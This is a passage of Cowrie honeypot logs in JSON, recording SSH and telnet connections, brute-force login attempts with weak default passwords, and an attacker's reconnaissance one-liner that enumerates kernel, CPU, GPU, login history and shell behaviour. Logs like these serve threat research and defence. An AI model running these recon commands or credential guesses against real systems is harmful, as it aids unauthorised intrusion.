2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.633094Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.635861Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.638638Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.641359Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.645020Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.647730Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.650282Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.653248Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.657177Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:48.661057Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880","size":356,"shasum":"78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:49.013551Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:49.465966Z","src_ip":"91.92.40.10","session":"9e6d8c98c942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00155353546143,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:22:49.610785Z","src_ip":"143.198.154.150","session":"191f501785df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":82.85750341415405,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:23:06.248685Z","src_ip":"170.64.224.25","session":"601e5c832d18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56554,"dst_ip":"159.203.135.109","dst_port":22,"session":"c730a983948e","protocol":"ssh","message":"New connection: 103.153.68.219:56554 (159.203.135.109:22) [session: c730a983948e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:23:20.751502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:23:20.755290Z","src_ip":"103.153.68.219","session":"c730a983948e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:23:21.004514Z","src_ip":"103.153.68.219","session":"c730a983948e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bogomol","message":"login attempt [root/bogomol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:23:21.757088Z","src_ip":"103.153.68.219","session":"c730a983948e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:23:23.008747Z","src_ip":"103.153.68.219","session":"c730a983948e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":45566,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a3ddc77de61","protocol":"ssh","message":"New connection: 38.93.206.2:45566 (10.17.0.5:22) [session: 2a3ddc77de61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:04.932307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:04.935276Z","src_ip":"38.93.206.2","session":"2a3ddc77de61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:04.985448Z","src_ip":"38.93.206.2","session":"2a3ddc77de61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"houses","message":"login attempt [root/houses] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:05.161720Z","src_ip":"38.93.206.2","session":"2a3ddc77de61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:06.214153Z","src_ip":"38.93.206.2","session":"2a3ddc77de61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":19530,"dst_ip":"10.17.0.5","dst_port":22,"session":"132e72f1883f","protocol":"ssh","message":"New connection: 176.53.159.196:19530 (10.17.0.5:22) [session: 132e72f1883f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:12.230720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:12.234543Z","src_ip":"176.53.159.196","session":"132e72f1883f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:12.330842Z","src_ip":"176.53.159.196","session":"132e72f1883f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:12.625070Z","src_ip":"176.53.159.196","session":"132e72f1883f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:12.723665Z","session":"132e72f1883f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:12.820775Z","src_ip":"176.53.159.196","session":"132e72f1883f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:12.918919Z","src_ip":"176.53.159.196","session":"132e72f1883f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51720,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aafd2993134","protocol":"ssh","message":"New connection: 91.92.40.176:51720 (10.17.0.5:22) [session: 2aafd2993134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:27.632025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:27.644449Z","src_ip":"91.92.40.176","session":"2aafd2993134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:27.768186Z","src_ip":"91.92.40.176","session":"2aafd2993134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty","message":"login attempt [ubuntu/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:28.030528Z","src_ip":"91.92.40.176","session":"2aafd2993134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:29.144441Z","src_ip":"91.92.40.176","session":"2aafd2993134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":52390,"dst_ip":"10.17.0.5","dst_port":22,"session":"896019dc310a","protocol":"ssh","message":"New connection: 91.92.40.10:52390 (10.17.0.5:22) [session: 896019dc310a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:30.552328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:30.685129Z","src_ip":"91.92.40.10","session":"896019dc310a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:30.687835Z","src_ip":"91.92.40.10","session":"896019dc310a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:31.676924Z","src_ip":"91.92.40.10","session":"896019dc310a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:32.887805Z","src_ip":"91.92.40.10","session":"896019dc310a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54318,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f7ee8513c15","protocol":"telnet","message":"New connection: 107.6.151.170:54318 (159.203.135.109:23) [session: 5f7ee8513c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:38.181407Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":55134,"dst_ip":"159.203.135.109","dst_port":22,"session":"9caab7cba028","protocol":"ssh","message":"New connection: 199.192.25.149:55134 (159.203.135.109:22) [session: 9caab7cba028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:40.446648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:40.450556Z","src_ip":"199.192.25.149","session":"9caab7cba028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:40.514863Z","src_ip":"199.192.25.149","session":"9caab7cba028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"borrow2024","message":"login attempt [root/borrow2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:40.709884Z","src_ip":"199.192.25.149","session":"9caab7cba028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:24:41.778136Z","src_ip":"199.192.25.149","session":"9caab7cba028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.438544511795044,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:25:10.619877Z","src_ip":"107.6.151.170","session":"5f7ee8513c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55522,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcb9d6c345e4","protocol":"telnet","message":"New connection: 107.6.151.170:55522 (159.203.135.109:23) [session: bcb9d6c345e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:25:42.101336Z"}
{"eventid":"cowrie.session.closed","duration":0.0034532546997070312,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:25:42.104680Z","src_ip":"107.6.151.170","session":"bcb9d6c345e4","protocol":"telnet"}
